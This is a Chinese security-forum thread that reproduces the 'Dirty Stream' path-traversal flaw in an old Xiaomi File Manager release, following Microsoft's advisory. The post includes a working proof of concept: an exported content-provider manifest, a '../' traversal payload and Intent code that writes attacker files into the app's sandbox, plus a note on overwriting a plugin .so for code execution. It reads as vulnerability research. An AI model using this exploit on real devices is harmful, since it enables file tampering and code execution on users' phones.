nigelxiao 发表于 2024-5-15 08:41

dirty-stream漏洞

下载地址:https://apkpure.com/cn/file-manager/com.mi.android.globalFileexplorer/versions

选择:2023年03月06 应用V1-210567版本

对标文章内容





结论:漏洞利用前置要求比较高,需要在手机上安装App并且要提供content provide组件,这个App的数据库里还必须写上穿越路径,之后发送Intent调起小米文件管理器,需要手动点击粘贴才行。

漏洞是能代码执行,但是不实用。

Detail:

​        漏洞成因是xiaomi读取我提供的content provide(不懂的自己去查)的 "_display_name"字段 没有过滤 "../"导致可以拼接穿越路径。

补丁前后对比:

主要函数




补丁前:


补丁后:


利用:

创建攻击者App并提供Content Provide组件,是为了让xiaomi App读攻击者提供的带"../"的字符串内容。

攻击App的Manifest.xml配置如下:
      <provider
            android:name=".MyContentProvider2"
            android:authorities="com.hx.exploit2"
            android:enabled="true"
            android:exported="true"></provider>
      <provider

然后创建数据库并写入三个字段 '_size','_display_name','_data'.

其中display_name是可控的路径,攻击者向这个字段写入如下内容:
./../../../../../../../../../../data/data/com.mi.android.globalFileexplorer/shared_prefs/hx.txt

漏洞成功执行会在xiaomi App沙箱中的shared_prefs目录下创建hx.txt文件。

要写入的文件是攻击者App使用intent传递的。
                Uri uri = Uri.parse("content://com.hx.exploit/exploit.txt");        // 这里提供写入的文件路径
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("com.mi.android.globalFileexplorer","com.android.fileexplorer.activity.CopyFileActivity"));
                intent.putExtra("from_private",true);
                intent.putExtra("inner_call",true);
                intent.putExtra("explorer_path","content://com.hx.exploit/exploit.txt");
                intent.setData(uri);
                intent.setAction("android.intent.action.SEND");
                startActivity(intent);

攻击者App使用这个Intent发送给xiaomi App。xiaomi App会解析Intent中的Uri内容并访问注册名为com.hx.exploit的content provide 组件(攻击者App) ,使用openFileDescriptor()函数读取文件内容。攻击者App重载实现了openFile()函数,这样达到了写入内容可控。有了路径穿越就可以写xiaomi App沙箱内任意文件。



攻击者App在assets资源目录下创建exploit.txt为要写入的文件内容。当执行到openFile函数时攻击者App把exploit.txt转存至自己的沙箱目录中并将文件句柄返回给xiaomi App。



攻击者App主动发送Intent给xiaomi App使它执行到文件拷贝的Activity页面,点击粘贴按钮完成路径穿越写入。





跳转至xiaomi App






文章中说覆写垃圾清理插件的so,可达到任意代码执行效果。先修改com.mi.android.globalFileexplorer_preferences.xml文件中的libixiaomifileu.so_hm5字段,然后将攻击者的so文件写入。



插件路径


同理wps app应该是类似的。


https://static.52pojie.cn/static/image/hrline/1.gif


https://www.microsoft.com/en-us/security/blog/2024/05/01/dirty-stream-attack-discovering-and-mitigating-a-common-vulnerability-pattern-in-android-apps/




4nfu 发表于 2024-5-15 22:28

遍历目录?

xiaoye123 发表于 2024-5-15 23:47

4nfu 发表于 2024-5-15 22:28
遍历目录?

rce应该是,但利用条件要求比较高

huangchaojun 发表于 2024-5-16 13:03

看标题还以为是steam,原来是xiaomi的

yahcrz 发表于 2024-5-17 08:09

技术门阀的作品,景仰

amwquhwqas128 发表于 2024-5-17 23:12

这个漏洞的确不是很实用

紫樱姐 发表于 2024-5-29 17:07

类比其他应用,应该如何修改能避免类似这种漏洞的发生,还望大佬不吝赐教。

wadxmy 发表于 2024-6-11 10:21

师傅你好,可以分享这个攻击app吗,没复现出来
页: [1]
查看完整版本: dirty-stream漏洞